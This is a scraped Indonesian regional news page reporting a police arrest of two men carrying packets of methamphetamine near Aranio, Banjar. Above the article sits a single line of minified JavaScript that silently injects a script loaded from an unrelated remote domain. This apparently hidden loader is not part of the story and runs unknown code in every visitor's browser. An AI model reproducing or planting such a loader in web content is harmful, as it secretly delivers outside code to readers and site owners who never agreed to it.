(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KRIMINAL BANJAR

Kirim Sabu ke Pelabuhan, Polsek Aranio Tangkap Dua Pelaku


KANALKALIMANTAN.COM, MARTAPURA – Personil Polsek Aranio berhasil mengaman dua orang yang kedapatan menyimpan barang haram Narkotika jenis sabu.

Kapolsek Aranio, Iptu Popo Hartopo, membenarkan pihaknya mengamankan dua orang laki-laki yang menyimpan sabu. Dua orang pelaku tersebut yakni AS (45) warga RT 3 Desa Babar, Kecamatan Karang Intan, Kabupaten Banjar, sedangkan satu pelaku lagi yakni AN (27) warga Desa Aranio RT 2 RW 2, Kecamatan Aranio, Kabupaten Banjar.

Keduanya tertangkap di Jalan Ir PM Noor, RT 2, Desa Aranio, Kecamatan Aranio, Kabupaten Banjar, pada Senin (8/3/2021) sekitar pukul 11:00 Wita.

AS dan AN saat ditangkap melintas menggunakan sepeda motor Honda Blade tanpa plat nomor polisi dan pretelan, setelah dilakukan pemeriksaan surat kelengkapan, kedua pelaku tidak bisa menunjukkan surat menyurat sepeda motor tersebut. Polisi mulai menaruh curiga ketika dua orang ini berprilaku gelisah.

Baca juga:

“Kemudian anggota kami Brigadir Noveri dan Briptu Wira bersama dengan personil Polsek melakukan penggeledahan badan dan pemeriksaan sepeda motor, setelah dilakukan pemeriksaan ditemukan 13 paket sabu yang disimpan dalam jok tepatnya di dalam karet penutup koil sepeda motor pelaku,” kata Kapolsek Aranio.

Kedua pelaku tersebut sudah jadi Target Operasi (TO) selama kurang lebih 2 minggu, karena kita dapat informasi kalau pelaku mau menjual sabu ke pelabuhan Tiwingan Lama. “Dan pada hari itu kita mendapat info, kalau pelaku akan melintas dan membawa atau menjual sabu, maka dari itu kita lakukan penangkapan saat pelaku sedang melintas,” jelasnya.

Pelaku ditangkap tanpa melakukan perlawanan dan dari tangan pelaku, kita berhasil mengamankan barang bukti berupa 13 paket dengan berat kotor 1,2 gram. “Sabu siap jual, rencana dijual dengan harga Rp 250 ribu per paket,” kata Kapolsek.

Kini kedua pelaku tersebut sudah diamankan di Mapolsek Aranio guna mempertanggungjawabkan perbuatannya.

“Kedua pelaku dijerat dengan pasal 112 Ayat 1 UU RI No 35 Tahun 2008 tentang Narkotika jenis sabu, dengan ancaman pidana penjara paling singkat empat tahun dan paling lama dua belas tahun,” tutupnya. (kanalkalimantan.com/wahyu)

Reporter : wahyu
Editor : bie


Al Ghifari

Recent Posts

Hadir Perdana di Banjarbaru, Generasi Happy Tri Ajak Gen Z Bikin Kreasi

KANALKALIMANTAN.COM, BANJARBARU - Generasi Happy Tri menyapa Generasi Z (Gen Z) di Banjarbaru dan Banjarmasin,… Read More

8 jam ago

Dari Banua Creative Festival, Kalsel Incar Tuan Rumah Ekrafnas 2025

KANALKALIMANTAN.COM, BANJARBARU - Acara bertajuk "Banua Creative Festival" inisiasi Gerakan Ekonomi Kreatif Kalimantan Selatan (Gekraf… Read More

9 jam ago

UMK Banjarmasin Naik Menjadi Rp3,59 Juta

KANALKALIMANTAN.COM, BANJARMASIN - Setelah Upah Minimun Provinsi (UMP) Kalimantan Selatan (Kalsel) tahun 2025 disepakati menjadi… Read More

9 jam ago

DKISP Banjar Raih Penghargaan Apresiasi Media Pemprov Kalsel 2024

KANALKALIMANTAN.COM, BANJARMASIN - Dinas Kominikasi Informatika Statistik dan Persandian (DKISP) Kabupaten Banjar meraih predikat Terbaik… Read More

16 jam ago

Polisi Ungkap Kasus Curanmor di Rusunawa Banjarmasin, 3 Orang Ditangkap

KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian Sektor (Polsek) Banjarmasin Selatan mengungkap kasus pencurian sepeda motor dengan menangkap… Read More

17 jam ago

Keseruan Ragam Lomba Meriahkan HUT ke-25 DWP

KANALKALIMANTAN.COM, AMUNTAI - Keseruan ibu-ibu tampak begitu bersemangat mengikuti perlombaan yang digelar dalam rangkaian HUT… Read More

1 hari ago

This website uses cookies.